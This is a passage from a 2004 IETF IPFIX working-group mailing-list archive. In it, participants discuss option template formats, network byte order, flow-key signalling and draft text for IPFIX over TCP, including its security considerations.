      |    ... Enterprise Number      |      Option 1 Field Type      |       
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |    Option 1 Field Length      |           Option 1 ...        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |    ... Enterprise Number      |              ...              |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |             ...               |       Option M Field Type     |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |     Option M Field Length     |         Padding (opt)         |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  


We propose a new definition of the Options Template Set Format, with Field Count (total number of fields) and Scope Field Counter. 

       0                   1                   2                   3  
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |          Set ID = 3           |          Length               |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |         Template ID           |         <b>Field Count </b>          |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |      <b>  Scope Field Count  </b>    |      Scope 1 Field Type       |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+    
      |     Scope 1 Field Length      |      Scope 2 Field Type       |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |     Scope 2 Field Length      |             ...               |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |            ...                |      Scope N Field Type       | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
      |     Scope N Field Length      |         Scope N ...           |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |    ... Enterprise Number      |      Option 1 Field Type      |       
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |    Option 1 Field Length      |           Option 1 ...        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |    ... Enterprise Number      |              ...              |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |             ...               |       Option M Field Type     |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |     Option M Field Length     |         Padding (opt)         |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  

     Field Count 
           Number of fields in this Option Template Record.  Because a 
           Option Template Set usually contains multiple Template Records, 
           this field allows the Collecting Process to determine the 
           end of the current Option Template Record and the start of the 
           next. 

     Scope Field Count 
           Number of scope fields in this Option Template Record. 

Any feedback.

Regards, Stewart and Benoit.

</pre>
</body>
</html>

--------------020601050500050203090206--

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Thu Oct  7 11:30:18 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA26819
	for <ipfix-archive@lists.ietf.org>; Thu, 7 Oct 2004 11:30:13 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CFZfs-0005gX-00
	for ipfix-list@mil.doit.wisc.edu; Thu, 07 Oct 2004 09:55:20 -0500
Received: from ams-iport-1.cisco.com ([144.254.224.140])
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CFZff-0005em-00
	for ipfix-protocol@net.doit.wisc.edu; Thu, 07 Oct 2004 09:55:07 -0500
Received: from ams-core-1.cisco.com (144.254.224.150)
  by ams-iport-1.cisco.com with ESMTP; 07 Oct 2004 17:06:21 +0200
X-BrightmailFiltered: true
Received: from cisco.com (mrwint.cisco.com [64.103.71.48])
	by ams-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i97Et3V8014944
	for <ipfix-protocol@net.doit.wisc.edu>; Thu, 7 Oct 2004 16:55:04 +0200 (MEST)
Received: from cisco.com (dhcp-edi-comm-144-254-112-222.cisco.com [144.254.112.222])
	by cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id PAA10914;
	Thu, 7 Oct 2004 15:55:02 +0100 (BST)
Message-ID: <416558C6.1030501@cisco.com>
Date: Thu, 07 Oct 2004 15:55:02 +0100
From: Stewart Bryant <stbryant@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ipfix-protocol@net.doit.wisc.edu
Subject: [ipfix-protocol] Data representation
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit

There is a problem with the definition of the data-type
representation in the IPFIX protocol specification.

The info model is just that, it concerns itself
with the definition of information, not with its
representation.

The protocol spec deals with the representation
of information elements, but needs to be written in
such a way that it does not have to delve into the
myriad of protocol definitions that exist, and
clearly states how new types will be represented.
In the draft as it stands we started to call out a few
type definitions in detail, but this is essentially
a task without end.

I propose that we simply include the following
statement in the protocol spec and deleted all
other text related to the external representation
of information elements.

"Information elements MUST be sent in canonical format
in network byte order."

NBO is the convention that the IETF uses for all of its
protocol specs. In practical terms it means that an
implementation can just grab data from the wire and
send it back out. The use of the word "canonical"
gives clear direction about what to do with objects
like MAC addresses which have two on the wire formats
(the Token Ring problem).

NBO is big-endian and therefore specifies the
external representation of IPFIX specific numeric
types such as counters etc.

So is the sentence I suggest above the necessary
and sufficient definition for our purposes?

- Stewart


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Fri Oct  8 07:13:38 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA14803
	for <ipfix-archive@lists.ietf.org>; Fri, 8 Oct 2004 07:13:38 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CFsPJ-0000OF-00
	for ipfix-list@mil.doit.wisc.edu; Fri, 08 Oct 2004 05:55:29 -0500
Received: from mailhub.fokus.fraunhofer.de ([193.174.154.14])
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CFsPE-0000NH-00
	for ipfix-protocol@net.doit.wisc.edu; Fri, 08 Oct 2004 05:55:24 -0500
Received: from [193.175.133.240] (kaitos [193.175.133.240])
	by mailhub.fokus.fraunhofer.de (8.11.6p2/8.11.6) with ESMTP id i98AtGD02812;
	Fri, 8 Oct 2004 12:55:16 +0200 (MEST)
Message-ID: <41667214.2050409@fokus.fraunhofer.de>
Date: Fri, 08 Oct 2004 12:55:16 +0200
From: Lutz Mark <mark@fokus.fraunhofer.de>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.2) Gecko/20040804
X-Accept-Language: en
MIME-Version: 1.0
To: Benoit Claise <bclaise@cisco.com>
CC: ipfix-protocol@net.doit.wisc.edu
Subject: Re: [ipfix-protocol] Improving the IPFIX option template format,
 not that scope is an normal information element?
References: <4164332D.4060502@cisco.com>
In-Reply-To: <4164332D.4060502@cisco.com>
X-Enigmail-Version: 0.85.0.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit


Hi Benoit,

> We propose a new definition of the Options Template Set Format, with Field Count (total number of fields) and Scope Field Counter. 
> 
>        0                   1                   2                   3  
>        0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1  
>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
>       |          Set ID = 3           |          Length               |  
>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
>       |         Template ID           |         *Field Count *          |  
>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
>       |      *  Scope Field Count  *    |      Scope 1 Field Type       |  
>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+    
>       |     Scope 1 Field Length      |      Scope 2 Field Type       |  
>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
>       |     Scope 2 Field Length      |             ...               |  
>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
>       |            ...                |      Scope N Field Type       | 
>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
>       |     Scope N Field Length      |         Scope N ...           |  
>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
>       |    ... Enterprise Number      |      Option 1 Field Type      |       
>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
>       |    Option 1 Field Length      |           Option 1 ...        |  
>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
>       |    ... Enterprise Number      |              ...              |  
>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
>       |             ...               |       Option M Field Type     |  
>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
>       |     Option M Field Length     |         Padding (opt)         |  
>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  

yes it makes sense the change from length to count.

You also suggest to change the sequence of 'field count'
and 'scope field count'. Does the field count now
specify the number of fields in the template record including
the scope fields?

Regards,
Lutz






--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Fri Oct  8 07:52:18 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA16820
	for <ipfix-archive@lists.ietf.org>; Fri, 8 Oct 2004 07:52:18 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CFsx3-0004SX-00
	for ipfix-list@mil.doit.wisc.edu; Fri, 08 Oct 2004 06:30:22 -0500
Received: from syd-iport-1.cisco.com ([64.104.193.196])
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CFswy-0004Rz-00
	for ipfix-protocol@net.doit.wisc.edu; Fri, 08 Oct 2004 06:30:16 -0500
Received: from syd-core-1.cisco.com (64.104.193.198)
  by syd-iport-1.cisco.com with ESMTP; 08 Oct 2004 21:42:49 +1000
X-BrightmailFiltered: true
Received: from cisco.com (mrwint.cisco.com [64.103.71.48])
	by syd-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i98BTvRJ025862;
	Fri, 8 Oct 2004 21:29:58 +1000 (EST)
Received: from cisco.com (ams-clip-vpn-dhcp30.cisco.com [10.61.64.30])
	by cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id MAA13195;
	Fri, 8 Oct 2004 12:30:04 +0100 (BST)
Message-ID: <41667A3C.2030206@cisco.com>
Date: Fri, 08 Oct 2004 12:30:04 +0100
From: Stewart Bryant <stbryant@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Lutz Mark <mark@fokus.fraunhofer.de>
CC: Benoit Claise <bclaise@cisco.com>, ipfix-protocol@net.doit.wisc.edu
Subject: Re: [ipfix-protocol] Improving the IPFIX option template format,
 not that scope is an normal information element?
References: <4164332D.4060502@cisco.com> <41667214.2050409@fokus.fraunhofer.de>
In-Reply-To: <41667214.2050409@fokus.fraunhofer.de>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit



Lutz Mark wrote:

<snip>
> yes it makes sense the change from length to count.
> 
> You also suggest to change the sequence of 'field count'
> and 'scope field count'. Does the field count now
> specify the number of fields in the template record including
> the scope fields?
> 
>

Yes, field count is TOTAL count including scope field count.

- Stewart


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Fri Oct  8 11:40:04 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA05489
	for <ipfix-archive@lists.ietf.org>; Fri, 8 Oct 2004 11:40:04 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CFwhv-0006zB-00
	for ipfix-list@mil.doit.wisc.edu; Fri, 08 Oct 2004 10:30:59 -0500
Received: from dplonka by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CFwho-0006xT-00
	for ipfix@net.doit.wisc.edu; Fri, 08 Oct 2004 10:30:52 -0500
Date: Fri, 8 Oct 2004 10:30:52 -0500
From: Dave Plonka <plonka@doit.wisc.edu>
To: ipfix@net.doit.wisc.edu
Subject: [ipfix] RFC 3917 on Requirements for IP Flow Information Export (IPFIX)
Message-ID: <20041008103052.A24043@doit.wisc.edu>
Reply-To: plonka@doit.wisc.edu
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0.1i
X-Organization: University of Wisconsin-Madison, DoIT Network Services
X-Organization-Too: Wisconsin Advanced Internet Laboratory (WAIL)
X-URL: http://net.doit.wisc.edu/~plonka/
X-VMS-Error: %SYSTEM-F-NOACNT, operation requires ACNT privilege
X-Shakespearean-Insult: Thou warped flap-mouthed bum-bailey
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>


IPFIXers,

Here's the announcement for our requirements RFC.
Thanks much to the editors and contributors for bringing this document
to completion!

Dave & Nevil

----- Forwarded message from rfc-editor@rfc-editor.org -----

A new Request for Comments is now available in online RFC libraries.


        RFC 3917

        Title:      Requirements for IP Flow Information Export
                    (IPFIX)
        Author(s):  J. Quittek, T. Zseby, B. Claise, S. Zander
        Status:     Informational
        Date:       October 2004
        Mailbox:    quittek@netlab.nec.de, zseby@fokus.fhg.de,
                    bclaise@cisco.com, szander@swin.edu.au
        Pages:      33
        Characters: 81615
        Updates/Obsoletes/SeeAlso:    None

        I-D Tag:    draft-ietf-ipfix-reqs-16.txt

        URL:        ftp://ftp.rfc-editor.org/in-notes/rfc3917.txt


This memo defines requirements for the export of measured IP flow
information out of routers, traffic measurement probes, and
middleboxes.

This document is a product of the IP Flow Information Export Working
Group of the IETF.

This memo provides information for the Internet community.  It does
not specify an Internet standard of any kind.  Distribution of this
memo is unlimited.

This announcement is sent to the IETF list and the RFC-DIST list.
Requests to be added to or deleted from the IETF distribution list
should be sent to IETF-REQUEST@IETF.ORG.  Requests to be
added to or deleted from the RFC-DIST distribution list should
be sent to RFC-DIST-REQUEST@RFC-EDITOR.ORG.

Details on obtaining RFCs via FTP or EMAIL may be obtained by sending
an EMAIL message to rfc-info@RFC-EDITOR.ORG with the message body 
help: ways_to_get_rfcs.  For example:

        To: rfc-info@RFC-EDITOR.ORG
        Subject: getting rfcs

        help: ways_to_get_rfcs

Requests for special distribution should be addressed to either the
author of the RFC in question, or to RFC-Manager@RFC-EDITOR.ORG.  Unless
specifically noted otherwise on the RFC itself, all RFCs are for
unlimited distribution.

Submissions for Requests for Comments should be sent to
RFC-EDITOR@RFC-EDITOR.ORG.  Please consult RFC 2223, Instructions to RFC
Authors, for further information.


Joyce K. Reynolds and Sandy Ginoza
USC/Information Sciences Institute

...

----- End forwarded message -----

-- 
plonka@doit.wisc.edu  http://net.doit.wisc.edu/~plonka  ARS:N9HZF  Madison, WI

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Wed Oct 13 16:36:07 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA04037
	for <ipfix-archive@lists.ietf.org>; Wed, 13 Oct 2004 16:36:07 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CHpPI-0005Lb-00
	for ipfix-list@mil.doit.wisc.edu; Wed, 13 Oct 2004 15:07:32 -0500
Received: from odd-brew.cisco.com ([144.254.15.119] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CHpOq-0005Ii-00
	for ipfix-protocol@net.doit.wisc.edu; Wed, 13 Oct 2004 15:07:05 -0500
Received: from [171.71.213.16] (dhcp-171-71-213-16.cisco.com [171.71.213.16])
	by strange-brew.cisco.com (8.11.7p1+Sun/8.8.8) with ESMTP id i9DK72108044
	for <ipfix-protocol@net.doit.wisc.edu>; Wed, 13 Oct 2004 22:07:03 +0200 (CEST)
Message-ID: <416D8AE6.5010404@cisco.com>
Date: Wed, 13 Oct 2004 22:07:02 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ipfix-protocol@net.doit.wisc.edu
Subject: [ipfix-protocol] how to distinguish key and non-key fields? proposal
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit

Dear all,

From RFC3917
   "But in any case, a collecting process must be able to clearly identify, for
   each received flow record, which set of properties was used for
   distinguishing this flow from other ones."

Here is a proposal: send an option template record composed of 3 information elements
   - scope = data template ID
   - ipfixoption = FLOW-KEY (*)
   - keyslist (**)

(*) ipfixoption is defined in section 8 "Specific Reporting 
Requirements" of draft-ietf-ipfix-protocol-05.txt. We would simply need a new 
value. 

(**) a bitmap information element. That would a special information 
element that would contain a "1" at the positions of the flow keys. If 
flow keys are in position 3, 5, 6: it would be 00101100000000000. That 
could even be a variable length information element, if needed. 

This feature should be inserted in the IPFIX protocol draft as a MAY, 
as a new subsection of section 8 "Specific Reporting Requirements"
If implemented, "The Template Record SHOULD be sent before the 
associated Option Template Record, and before and Flow Data Records. In 
case of unreliable transport protocol, the Template Record and Option 
Template Record SHOULD be sent in the same Export Packet"

We should also define ipfixoption and keyslist in [IPFIX-INFO].

Any feedback?

Regards, Benoit.




--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Tue Oct 19 09:31:49 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24399
	for <ipfix-archive@lists.ietf.org>; Tue, 19 Oct 2004 09:31:49 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CJta3-0005ly-00
	for ipfix-list@mil.doit.wisc.edu; Tue, 19 Oct 2004 07:59:11 -0500
Received: from ams-iport-1.cisco.com ([144.254.224.140])
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CJtZu-0005jA-00
	for ipfix-protocol@net.doit.wisc.edu; Tue, 19 Oct 2004 07:59:03 -0500
Received: from ams-core-1.cisco.com (144.254.224.150)
  by ams-iport-1.cisco.com with ESMTP; 19 Oct 2004 15:13:44 +0200
X-BrightmailFiltered: true
Received: from cisco.com (mrwint.cisco.com [64.103.71.48])
	by ams-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i9JCwdSf014264
	for <ipfix-protocol@net.doit.wisc.edu>; Tue, 19 Oct 2004 14:58:40 +0200 (MEST)
Received: from cisco.com (dhcp-rea-gp250-64-103-65-89.cisco.com [64.103.65.89])
	by cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id NAA09623;
	Tue, 19 Oct 2004 13:58:37 +0100 (BST)
Message-ID: <41750F7D.4020606@cisco.com>
Date: Tue, 19 Oct 2004 13:58:37 +0100
From: Stewart Bryant <stbryant@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ipfix-protocol@net.doit.wisc.edu
Subject: [ipfix-protocol] Proposed TCP section
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit

I have extracted the key elements of the mechanism
described in <draft-leinen-ipfix-tcp-00>
to carry IPFIX over TCP, and propose that this
text be incorporated in the IPFIX protocol draft.

Please can you comment ASAP so that Benoit and I can
incorporate into the next rev of the protocol
draft.

- Stewart



ISSUES

2.1  Handshake

Should we introduce a handshake sequence at the start of the
connection? A simple ASCII-based handshake could be used to
request TLS.

2.2  TLS

It would make sense to add TLS support even in the absence of a
handshake.  It would be the responsibility of the collector
(connection initiator) to know whether TLS setup is required.


---------------------------------------------------------------

5.2     TCP

This section describes how IPFIX can be transported over TCP
[TCP].

5.2.1 Congestion Avoidance

TCP will detect congestion in the end-to-end path between
the IPFIX Exporting Process and the IPFIX Collecting Process,
and limit the transfer rate accordingly.  When an IPFIX
Exporting Process has records to export, but detects that
transmission by TCP is temporarily impossible, it can either
wait until sending is possible again, or it can decide to drop
the record.  In the latter case, the dropped export data MUST
be accounted for, so that the amount of dropped export data can
be reported.

5.2.2 Reliability

TCP provides an intrinsically reliable delivery service from the
IPFIX Exporting Process to the IPFIX Collecting Process.

5.2.3 MTU

TCP provides the required IPFIX Message fragmentation
service based on path MTU discovery.

5.3.4 Exporting Process

The following sections describe how an IPFIX-over-TCP
connection is created, how IPFIX data is transferred
over it, and how a connection is to be terminated.

5.3.4.1 Connection Establishment

The IPFIX Exporting Process initiates a TCP connection to the
IPFIX Collecting Process.  By default, the Collecting Process
listens for connections on TCP port XXXX (to be assigned by
IANA).  It MUST be possible to configure both the Exporting
and Collecting Processes to use a different TCP port.

An Exporting Process MAY support more than one active
connection to different Collecting Processes (including
the case of different Collecting Processes on the same host).

5.3.4.2 Connection Release

When an Exporting Process has no more IPFIX Messages to send,
it SHOULD close the TCP connection.

When a Collecting Process no longer wants to receive IPFIX
messages, it SHOULD close the TCP connection, but SHOULD
continue to receive and process IPFIX messages until the
Exporting Process has closed its end.

When an Collecting Process detects that the TCP
connection to the Exporting Process is broken, it MUST
continue to listen for a new connection.

When an Exporting Process detects that the TCP
connection is abnormally terminated, it SHOULD try to
re-establish the connection.

Connection timeouts SHOULD be configurable.

5.3.4.3  IPFIX Message Encoding

TCP provides message boundary marking marking
mechanism. When IPFIX Message are sent over a
TCP connection, the LENGTH field in the IPFIX
Message header defines the end of each message
and the start of the next message.

If an Exporting Process exports data from multiple
Observation Domains, it should be careful to choose
the IPFIX Message lengths appropriately to avoid
head-of-line blocking between different Observation
Domains.

5.3.4.4  Templates

New Template Records SHOULD be transmitted as
soon as they are created on the Metering Process,
and preferably before any associated Flow and
Options Data Record is transmitted.  The Collecting
Process SHOULD accept Flow and Options Data Records
without the associated Template Record.

A Collecting Process MUST record all Template
and Option Template Records for the duration
of the connection, as an Exporting Process is
not required to re-export Template Records.

5.3.5 Fail-over

If the Collecting Process does not acknowledge the
attempt by the Exporting Process to establish a
connection, the Exporting Process should retry.
The retry schedule SHOULD be configurable.  In
the default configuration, an Exporting Process
MUST NOT attempt to establish a connection more
frequently than once per minute.

The Exporter MAY log an alarm if the time to
establish the association exceeds a specified
threshold.

If Collecting Process fail-over is supported by the
Exporting Process a second TCP connection MAY be
opened in advance.


------------------------------------------------
TCP specific security considerations

Because there is no handshake protocol once a TCP
connection is established, negotiation-based
transport-layer security protocols such as TLS
[RFC2246] cannot be used in a straightforward
manner to ensure authenticity and confidentiality.

Exporters and collectors MUST implement IPSEC [RFC2401]
with the Authentication Header (AH) [RFC2402] to
ensure authenticity of the exporter and the collector.
Exporters SHOULD implement IPSEC Encapsulating Security
Payload (ESP) [RFC2406] to ensure confidentiality of
the exported data.  The use of AH and ESP MUST be
configurable for each exporter/collector pair.

It MUST be possible to configure, an Exporting Process
to authenticate itself to the Collecting Process.
This authentication mechanism SHOULD be capable of
using strong identities such as IKE [RFC2409] public-key
certificates or pre-shared keys.  A Collecting Process
SHOULD detect and log unauthorized connection attempts.

-------------------------------------------------

IANA Considerations

IANA should assign a well-known TCP port number for IPFIX
over UDP, TCP and SCTP. It is recommended that the same
well-known port number is used as a default for all three
transport protocols.

EDITOR NOTE: once the SCTP, TCP and UDP ports are assigned,
The text in this draft might be updated.

-------------------------------------------------------
Normative references


[RFC2401]  Kent, S. and R. Atkinson, "Security
            Architecture for the Internet Protocol",
            RFC 2401, November 1998.

[RFC2409]  Harkins, D. and D. Carrel, "The Internet
Key Exchange (IKE)", RFC 2409, November 1998.

Informative References

[RFC2246]  Dierks, T. and C. Allen, "The TLS Protocol
Version 1.0", RFC 2246, January 1999.






--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Tue Oct 19 09:44:29 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA25203
	for <ipfix-archive@lists.ietf.org>; Tue, 19 Oct 2004 09:44:29 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CJtsA-0007Ma-00
	for ipfix-list@mil.doit.wisc.edu; Tue, 19 Oct 2004 08:17:54 -0500
Received: from ams-iport-1.cisco.com ([144.254.224.140])
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CJts1-0007Ll-00
	for ipfix-protocol@net.doit.wisc.edu; Tue, 19 Oct 2004 08:17:45 -0500
Received: from ams-core-1.cisco.com (144.254.224.150)
  by ams-iport-1.cisco.com with ESMTP; 19 Oct 2004 15:32:40 +0200
X-BrightmailFiltered: true
Received: from cisco.com (mrwint.cisco.com [64.103.71.48])
	by ams-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i9JDHeSf019632
	for <ipfix-protocol@net.doit.wisc.edu>; Tue, 19 Oct 2004 15:17:41 +0200 (MEST)
Received: from cisco.com (dhcp-rea-gp250-64-103-65-89.cisco.com [64.103.65.89])
	by cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id OAA10282;
	Tue, 19 Oct 2004 14:17:40 +0100 (BST)
Message-ID: <417513F4.4070306@cisco.com>
Date: Tue, 19 Oct 2004 14:17:40 +0100
From: Stewart Bryant <stbryant@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ipfix-protocol@net.doit.wisc.edu
